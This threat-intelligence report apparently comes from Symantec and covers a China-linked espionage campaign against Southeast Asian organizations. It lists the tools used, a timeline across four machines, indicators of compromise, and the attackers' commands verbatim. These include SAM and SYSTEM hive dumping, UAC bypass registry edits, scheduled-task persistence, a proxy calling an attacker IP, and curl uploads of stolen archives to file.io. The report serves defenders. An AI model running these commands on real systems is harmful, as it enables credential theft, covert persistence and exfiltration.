Likely China-based Attackers Target High-profile Organizations in Southeast Asia

Threat actors using tools linked to China-based APT groups have targeted multiple high-profile organizations in Southeast Asia, including government ministries in two different countries, an air traffic control organization, a telecoms company, and a media outlet.

The attacks, which have been underway since at least October 2023, appear to have intelligence gathering as their main goal. The attackers use a variety of both open-source and living-off-the-land tools in their operations.

While attribution to a specific threat group cannot be determined, multiple tools used in the campaign have links to several China-based actors (see Tools section for details). Of note is the use of a proxy tool called Rakshasa and a legitimate application file used for DLL sideloading, both of which were used previously by the Chinese advanced persistent threat (APT) group known as Earth Baku (aka APT41, Brass Typhoon).

A typical attack involves the use of a remote access tool that leverages Impacket to execute commands via WMI (Windows Management Instrumentation). The attackers then install keyloggers, password collectors, and reverse proxy tools (Rakshasa, Stowaway, ReverseSSH) to maintain connections to attacker-controlled infrastructure. The threat actors also install customized DLL files that act as authentication mechanism filters, allowing them to intercept login credentials.

Tools

The threat actors used the following tools. However, the list of tools used in each attack varied and not all of the following were used in every attack.

Dismap: An open-source asset discovery and identification tool.

FastReverseProxy: FRP is an open-sourced tool used to expose local servers to the public internet.

file.io exfiltration: Commands used by the attackers suggests data gathered during a successful attack is exfiltrated to the legitimate file-sharing website file.io.

Impacket: An open-source collection of modules written in Python for programmatically constructing and manipulating network protocols. It contains several tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks.

Infostealer: An information-collection tool that creates a hidden folder named AppCache and file named AppCache.dat in C:\Users\[CURRENT USER]\AppData\Local\Microsoft\Windows\AppCache\AppCache.dat. It then encrypts and logs gathered information into AppCache.dat.

Inveigh: A cross-platform .NET IPv4/IPv6 machine-in-the-middle tool for penetration testers. The tool can be used to conduct spoofing attacks and hash/credential captures through both packet sniffing and protocol specific listeners/sockets.

Keylogger: The attackers install customized DLL files that act as authentication mechanism filters, effectively allowing them to intercept login credentials from users who physically log in to the machine.

Legitimate applications abused for DLL sideloading: The attackers used a legitimate application file (Bitdefender Crash Handler) from 2011 for DLL sideloading. This file was used previously in multiple attacks, some of which were linked to the Chinese APT group known as Earth Baku (aka APT41, Brass Typhoon).

Living off the land: The attackers also made use of several living-off-the-land tools, including:

- **PowerShell:** Microsoft scripting tool that can be used to run commands, download payloads, traverse compromised networks, and carry out reconnaissance.
- **Reg.exe:** Windows command-line tool that can be used to edit the registry of local or remote computers.
- **WMI (Windows Management Instrumentation):** Microsoft command-line tool that can be used to execute commands on remote computers.

NBTScan: An open-source command-line NetBIOS scanner.

PlugX (Korplug): A remote access Trojan (RAT) that can download additional plugins to enhance its capability beyond information gathering. The malware was initially associated solely with multiple Chinese state-backed threat actors, including Budworm (aka APT27, Emissary Panda, Lucky Mouse) and Fireant (aka Mustang Panda, APT31, Stately Taurus). However, a range of other threat actors outside of China have used the malware since its source code was allegedly leaked in 2015.

Rakshasa: A proxy tool written in Go, designed specifically for multi-level proxying and internal network penetration. The tool has been used previously by Earth Baku. In addition, the language used in the tool is simplified Chinese.

ReverseSSH: A statically linked SSH server with reverse shell functionality.

SharpGPOAbuse: A .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO.

SharpNBTScan: A NetBIOS scanning tool written in C#. The tool was used previously by the China-linked APT group known as Fireant (aka Mustang Panda, APT31, Stately Taurus).

Stowaway Proxy Tool: A publicly available multi-hop proxy tool that allows users to easily proxy their network traffic to intranet nodes.

TightVNC: Open-source remote desktop software.

WinRAR: An archive manager that can be used to archive or zip files – for example, prior to exfiltration.

Attack timeline

The following activity occurred on one of the targeted organizations' networks. In this instance, the attackers remained active for at least three months, between June and August 2024, focusing on intelligence gathering—specifically collecting and likely exfiltrating data of interest. While this case highlights a particular approach, in other attacks, the threat actors employed additional tactics, techniques, and procedures (TTPs), such as DLL sideloading, and leveraged tools like Rakshasa and SharpGPOAbuse, among others, to achieve their objectives.

Machine 1

The first indication of malicious activity within this organization was on May 27 at 14:15 local time, where a suspicious PowerShell command was executed. The command was used to modify the registry, specifically the system policies, to enable 'LocalAccountTokenFilterPolicy'. This value is responsible for controlling how local accounts are filtered when they are used to access a Windows system remotely. By setting the key to value '1', it effectively disables Remote UAC filtering for local accounts, allowing local admin accounts to use elevated tokens (with full admin rights when connecting remotely).

At 14:18, another suspicious command was executed via the WMI service:

```
cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__1716819456.018484 2>&1
```

This pipe naming convention typically indicates a remote tool leveraging Impacket is being used to execute the commands (also corroborated via process lineage). This is a common command observed as part of tooling used in lateral movement such as wmiexec.

At 14:22, several additional discovery commands were executed:

- `netsh wlan show profiles`
- `net share`
- `netstat -abnop tcp`

These commands were used to display wireless network profile information, including network names for any wireless network that was connected to in the past.

The netstat command lists all active (established and listening) TCP connections on the machine.

The next day on May 28 at 12:51, another suspicious command was executed via WMI:

```
cmd.exe /Q /c move ChromeUpdate.dat ChromeUpdate.exe 1>
\\127.0.0.1\ADMIN$\__1716900555.2954416 2>&1
```

The command was used to rename a likely uploaded file called ChromeUpdate.dat (SHA-256: 8b6d081be732743aa6f6bccfb68b3f21878aa36723c1311f50406d752aacc9fa) to ChromeUpdate.exe.

Next, the file was executed, passing 'install' as a command-line argument:

```
ChromeUpdate.exe /install
```

The file contained an encrypted embedded keylogger payload for 64-bit systems.

At 13:07, several suspicious registry edits and scheduled task-related commands were executed:

```
reg add hklm\software\microsoft\windows\CurrentVersion\run /v mscorsvc /t
REG_EXPAND_SZ /d
"\"CSIDL_PROGRAM_FILESX86\microsoft.net\redistlist\mscorsvw.exe"" /f
```

```
schtasks /create /sc once /st 23:59 /ru "[REMOVED]" /tn autorun /tr
"CSIDL_PROGRAM_FILESX86\microsoft.net\redistlist\mscorsvw.exe" /F
```

```
schtasks /run /tn autorun
```

These commands were used to create a run key for a file called mscorsvw.exe in the registry using the run key name 'mscorsvc' – this will launch the file every time the system boots.

The schtasks command creates a scheduled task called 'autorun' under the user '[REMOVED]' and is configured to run only once at 23:59 on the same day.

Directly after this, schtasks was executed to launch the autorun (i.e. mscorsvw.exe) task.

At 13:13, another scheduled task was created for a different file:

```
schtasks /create /sc once /st 23:59 /ru "[REMOVED]" /tn autorun /tr
"CSIDL_SYSTEMX86\wbem\wintulxs.exe -c 38.60.146.78:443 -s 1qaz2wsx4rfv -
reconnect 10" /F
```

This task was scheduled to run once at 23:59 on the same day using the task name 'autorun' to execute a file called 'wintulxs.exe' (SHA-256: d312b0e1968beae5a2ff3be2d8efc6d1bfdab3b1aec6faf8eafa295c47230194). This tool is a freely available Chinese proxy tool called Stowaway, which is described as providing the ability to “proxy external traffic through multiple nodes to the core internal network, breaking through internal network access restrictions.”

On May 30 at 03:16, the attackers returned and executed a series of ‘net’ commands to list network share sessions and available shares, and to view available shares on remote hosts. The attackers also mounted network shares.

Directly afterwards, the ‘fsutil’ command was executed to list all available file system drives (e.g. C:).

```
net session
```

```
net share
```

```
net view
```

```
net view \\192.168.21.65
```

```
net use [REMOVED]\\192.168.21.108/u:[REMOVED]
net use [REMOVED]/d/y
```

```
net use [REMOVED]\\192.168.21.61/u:[REMOVED]
```

```
fsutil fsinfo drives
```

Machine 2

At the time of the initial attacker activity on May 27 at 13:41, additional suspicious activity was also observed on another machine.

Similar commands to those previously observed were executed as a means to bypass UAC. This time, the commands were executed via TightVNC.

```
net user [REMOVED]
```

```
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
```

```
net localgroup [REMOVED] [REMOVED] /add
```

```
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
```

At 15:08, another suspicious reg.exe command was executed:

```
"CSIDL_SYSTEM\reg.exe" add "hklm\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v [REMOVED] /t
REG_DWORD /d 0 /f
```

This command was used to modify the Windows registry, specifically to hide a specific account from displaying in the user list during user login.

Shortly after at 15:10, the attackers returned and dumped passwords from the registry:

```
cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__1716822622.7074058 2>&1
```

```
reg save hklm\sam sam.hive
```

```
reg save hklm\system system.hive
```

```
cmd.exe /Q /c dir /on CSIDL_PROGRAM_FILES\winrar\rar.exe 1>
\\127.0.0.1\ADMIN$\__1716822622.7074058 2>&1
```

The attackers also checked that WinRAR was installed in the default path, likely using it to collect and later exfiltrate the hive files.

On May 28 at 13:51, the attackers used WMI to launch a command prompt.

The next day at13:52, the attackers returned and copied an unknown file that masquerades as part of the .NET framework.

```
CSIDL_WINDOWS\microsoft.net\framework\v4.0.30319\mscorsvw.exe →
CSIDL_SYSTEM_DRIVE\progra~2\microsoft.net\redistlist\mscorsvw.exe.
```

Directly after this, the attackers proceeded to create registry run keys and scheduled a task to execute the sample at 23:59:

```
reg add hklm\software\microsoft\windows\CurrentVersion\run /v mscorsvc /t
REG_EXPAND_SZ /d
"\"CSIDL_PROGRAM_FILESX86\microsoft.net\redistlist\mscorsvw.exe"" /f
```

```
schtasks /create /sc once /st 23:59 /ru "[REMOVED]" /tn autorun /tr
"CSIDL_PROGRAM_FILESX86\microsoft.net\redistlist\mscorsvw.exe" /F
```

```
schtasks /run /tn autorun
```

Finally, the attackers used schtasks to launch the autorun service, executing mscorsvw.exe.

Machine 3

Later, on August 20, the attackers installed a ReverseSSH tool – winupdateser.exe (SHA-256: 779b4a5f53d3128ab53dd8e13c362d6d077c3eb4987f878d7ef3416c801ef0dd).

Following this, at 07:32, the attackers created a scheduled task on a remote system to execute an unknown Windows batch file (net.bat) at 15:35 using the task name 'Microsoft\windows\TaskScheduler\Maintenance':

```
schtasks /create /s [REMOVED] /u [REMOVED] /p [REMOVED] /tn
"Microsoft\windows\TaskScheduler\Maintenance" /tr "CSIDL_SYSTEM\net.bat" /sc
once /st 15:35
```

Shortly afterward, WMI was used to execute ‘ChromeUpdate.exe /install’ in order to install a keylogger.

At 08:11, WMI was used to execute ‘ipconfig /all >> %TEMP%\cc.dat’ to collect network configuration information.

On September 4, the attackers returned and created multiple scheduled tasks to execute unknown Windows batch files using the task name 'Microsoft\windows\TaskScheduler\Maintenance' on multiple machines:

```
schtasks /create /s [REDACTED] /u [REMOVED] /p [REMOVED] /tn
"Microsoft\windows\TaskScheduler\Maintenance" /tr "CSIDL_WINDOWS\temp\
[REDACTED]udpate.bat" /sc once /st 15:58
```

Machine 4

On August 6 at 12:21, the attackers accessed another machine where they executed a script (ime.bat) in order to install a new authentication mechanism called Win32Pro.

```
echo off
```

```
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos /v Auth0 /t REG_SZ
/d "Win32Pro" /f >>c:\windows\ime\ime.log
```

```
REG QUERY "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification
Packages" >>c:\windows\ime\ime.log
```

```
REG QUERY "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security
Packages" >>c:\windows\ime\ime.log
```

```
del %0
```

Following the installation, the attackers launched a file named ‘win32pro.dll’ (SHA-256: 89707a5bf9862a9effb1618a1a285a8d027fb343f6103f4bc68f736889f0a86e) via another file called rpc2.exe (SHA-256: e0f3b8028a2969e280efdd770978a54181fc242dd26cbf0a22e922f1e6a1b951).

```
CSIDL_SYSTEM\rpc2.exe CSIDL_SYSTEM\win32pro.dll
```

The file ‘win32pro.dll’ was used to capture and collect user login information including the current time, domain name, username, machine name, and password. Captured credentials were stored in the following locations using the RC4 encryption algorithm with the key "rfvfsj":

- c:\windows\system32\normcache.nls
- C:\Windows\SYSVOL\domain\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\caches.db

Exfiltration activities

During the course of these operations, the attackers conducted exfiltration activities within targeted organizations. They maintained prolonged access to these networks, often spanning several months, while operating covertly to avoid detection.

During this time, they focused on harvesting credentials, including passwords, and mapping the network to identify systems of interest.

Exfiltration was carried out through a combination of tactics, including the collection of files of interest using WinRAR, which were subsequently compressed into password-protected archives. These archives were then uploaded to cloud storage services such as File.io, enabling the attackers to stealthily exfiltrate sensitive data while minimizing the risk of exposure. This extended dwell time and calculated approach underscore the sophistication and persistence of the threat actors.

```
CSIDL_SYSTEM\cmd.exe /c CSIDL_SYSTEM_DRIVE\program files\winrar\rar.exe a -k
-r -s -m5 -v100M "CSIDL_PROFILE\public\downloads\m1.rar"
c:\users\public\downloads\*.csv
```

```
CSIDL_SYSTEM\cmd.exe /c CSIDL_SYSTEM_DRIVE\program files\winrar\rar.exe a -k
-r -s -m5 -v100M "CSIDL_PROFILE\public\downloads\m2.rar"
C:\windows\temp\Netwrix-Report-20240312112337\csv-files\*.csv
```

```
CSIDL_SYSTEM\cmd.exe /c CSIDL_SYSTEM_DRIVE\program files\winrar\rar.exe a -k
-r -s -m5 -v100M -hp@1232ws "CSIDL_PROFILE\public\downloads\m3.rar"
CSIDL_PROFILE\public\downloads\[REMOVED]_sdulog.zip
```

```
CSIDL_SYSTEM\cmd.exe /c CSIDL_SYSTEM_DRIVE\program files\winrar\rar.exe a -k
-r -s -m5 -v100M -hp@1232ws "CSIDL_PROFILE\public\downloads\m4.rar" \\
[REMOVED]\logs$\Users\*.csv
```

```
CSIDL_SYSTEM\cmd.exe /c CSIDL_SYSTEM_DRIVE\program files\winrar\rar.exe a -k
-r -s -m5 -v100M -hp@1232ws "CSIDL_PROFILE\public\downloads\m5.rar" \\
[REMOVED]\logs$\Computers\*.csv
```

```
curl -k -F “file=@c:\users\public\[REMOVED]_sdulog.zip” https://file.io
```

```
curl -k -F "file=@c:\users\public\downloads\m3.rar" https://file.io
```

Attribution

While the attackers in this campaign used a wide selection of TTPs that differed slightly between targeted organizations, the geographical location of targeted organizations, as well as the use of tools linked previously to China-based APT groups, suggests that this activity is the work of China-based actors.

Tools leveraged in these attacks have been used by Chinese state-backed groups such as Fireant (aka Mustang Panda, APT31, Stately Taurus), Earth Baku (aka APT41, Brass Typhoon), Budworm (aka APT27, Emissary Panda, Lucky Mouse), and others. However, due to many of these groups frequently sharing tools and using similar TTPs, specific attribution in this case is not possible.

Protection/Mitigation

For the latest protection updates, please visit the Symantec Protection Bulletin.

Indicators of Compromise

If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect and block that file.

d312b0e1968beae5a2ff3be2d8efc6d1bfdab3b1aec6faf8eafa295c47230194 – Stowaway

e0f3b8028a2969e280efdd770978a54181fc242dd26cbf0a22e922f1e6a1b951 – Batch file loader

33cb9f06338a9ea17107abbdc478071bbe097f80a835bbac462c4bb17cd0b798 – PlugX loader

8b6d081be732743aa6f6bccfb68b3f21878aa36723c1311f50406d752aacc9fa – Keylogger

89707a5bf9862a9effb1618a1a285a8d027fb343f6103f4bc68f736889f0a86e – Keylogger

9fe3ff51443c41fe0be01a55a3a5fbfb261bcf63b3b0cd67f65a2c00a6d52ff3 – Keylogger

e6cecba25abd092bfccba825298edecd2fdee6c428d9ae85399fabc54355e31f – Keylogger loader

779b4a5f53d3128ab53dd8e13c362d6d077c3eb4987f878d7ef3416c801ef0dd - ReverseSSH

e9572549b2f35f32861ffc9be160e9c8f86e4d9d3dd43c3727f0df4dc2acc944 – Infostealer

e0f3b8028a2969e280efdd770978a54181fc242dd26cbf0a22e922f1e6a1b951 – Credential-dumping tool

b7472c6f6cba47ec85fa147c78f3a7a40a4fc5913fe41654ab499a7b1bd4ea2e – Batch file used to register custom DLL to hook into Windows authentication mechanisms

3e4d86c4e1d463b99478f960c9c00f7d11cd0d1fb8dd2948e8340b7bc3550904 – Batch file used to register custom DLL to hook into Windows authentication mechanisms

fb603072418da9150673ac9826a46a2b2462c8fc0afeacb2034ecb2b7d666001 – Batch file used to register custom DLL to hook into Windows authentication mechanisms

340e872c814d221989ca2cb93819b9ad307572851b5b3f8bfcf791ff08e0e677 – Suspicious Windows script file

80c3effc8f017b26c549bed8ba82097a6be7a59e383dd35adc917bf661e0a754 – Windows script file that drops SharpGPOAbuse and Rakshasa

9b1794a1c8c59631d95178c7c4e2f5917b84864b342b4cfdab8f0990c3dbf5d2 – FastReverseProxy

ca0eeb4b71d4124dec785a9492970e9b1cfaa4cab0e8ca4486fc14b2e256d7f7 – Inveigh

d7b85b92fb185272b89a7ff27424bff22a5a6542f6bde9838482aa9f87979828 – Dismap

fa6de0d0bc9d83a3942aa8b3a12a5924dc662bec32cb3c2f212a0a0c0a4ebc7a – SharpNbtscan

10029f14f2718362144b0e9b660994e8fb944af9ce9fcff04925f8b0615bb509 – SharpGPOAbuse

aa096f18e712ac0604e18d16441b672fcb393de9edf3ff4393519c48ab26a158 – Rakshasa

386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd – Bitdefender Crash Handler (2011)

38.60.146[.]78:443 – Stowaway

118.107.219[.]66:443 – Stowaway

45.123.188[.]180 – FastReverseProxy

198.244.237[.]131 – Rakshasa download